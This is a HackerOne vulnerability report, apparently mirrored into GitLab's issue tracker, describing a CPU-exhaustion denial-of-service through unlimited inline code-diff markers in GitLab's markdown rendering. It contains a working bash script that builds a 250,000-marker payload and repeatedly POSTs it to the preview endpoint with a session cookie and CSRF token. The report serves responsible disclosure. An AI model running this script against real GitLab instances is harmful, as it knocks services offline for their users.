DOS through markdown render caused by unlimited amount of code diffs in markdown
HackerOne report #2518563 by joaxcar
on 2024-05-24, assigned to @cmaxim:
Report
(This is one of the multiple subreports related to #2023684 where [@]gmyers asked me to seperate out these issues to their own reports)
Summary
When GitLab renders input text as markdown, it uses the banzai
pipelines. The pipeline consists of multiple filters that either strip content or alter content based on certain rules.
There is an issue when these rules can be abused to expand a given payload in a way that causes high resource consumption and locks CPU threads at 100%. This is similar to how ReDoS issues work but this is not related to ReDoS, the issue stems from how the pipelines expand benine input into large outputs.
This has previously been fixed by limiting the number of hits for a certain rule. See the emoji expansion rule, which has a limit of 1000 emojis /lib/banzai/filter/emoji_filter.rb
The issue
Given a payload with 250000 code diffs {++}\n
it will cause the CPU to lock in 100% for 1 minute and respond with a 500 Internal Server Error
as the response.
Inline diffs are handled in this filter lib/banzai/filter/inline_diff_filter.rb
and has no limitation
Steps to reproduce
Test this on a local instance!
- SSH to your local instance of Gitlab
- Install
htop
withapt-get update && apt-get install htop
- start
htop
withhtop
Now log in to your instance
4. Log in
5. Got to https://gitlab.com/groups/new and create an a new group called test
6. In the new group create a project called test
7. Open devtools and run this snippet and note the value
document.getElementsByName('csrf-token')[0].content
- Go to
Application
in devtools and opencookies
and copy the value of_gitlab_session
cookie - Open a terminal and run this script (alter CSRF_TOKEN, COOKIE, SERVER and DURATION). This will make one request a second
COOKIE="<SESSION_COOKIE>"
CSRF_TOKEN="<CSRF_TOKEN>"
SERVER_URL="https://gitlab.example.com"
DURATION=60
cat > json_payload.json <<EOF
{"text": "$(printf -- '{++}\\n%.0s' {1..250000})"}
EOF
for (( i=1; i<=DURATION; i++ ))
do
# Make the curl request
curl --request POST -k \
--header "Cookie: _gitlab_session=$COOKIE;" \
--header "X-Csrf-Token: $CSRF_TOKEN" \
--header "Content-Type: application/json" \
-d [@]json_payload.json "$SERVER_URL/test/test/preview_markdown" &
# Wait for 1 second
sleep 1
done
- Look in htop and see all CPUs at 100%
- Try navigating in the GitLab instance and note you have a DOS delay of +10 seconds
Impact
Uncontrolled CPU resource consumption is caused by a low number of requests. Can keep an instance inaccessible with about 10 requests a minute. (tested on 1000 users reference architecture)
What is the current bug behavior?
There is no limit to the number inline diffs parsed and rendered
What is the expected correct behavior?
As with emojis, there needs to exist a limit to how many inline diffs are rendered
Output of checks
This bug happens on GitLab.com
Impact
Uncontrolled CPU resource consumption is caused by a low number of requests. Can keep an instance inaccessible with about 10 requests a minute. (tested on 1000 users reference architecture)
Impact
Uncontrolled CPU resource consumption is caused by a low number of requests. Can keep an instance inaccessible with about 10 requests a minute. (tested on 1000 users reference architecture)
How To Reproduce
Please add reproducibility information to this section: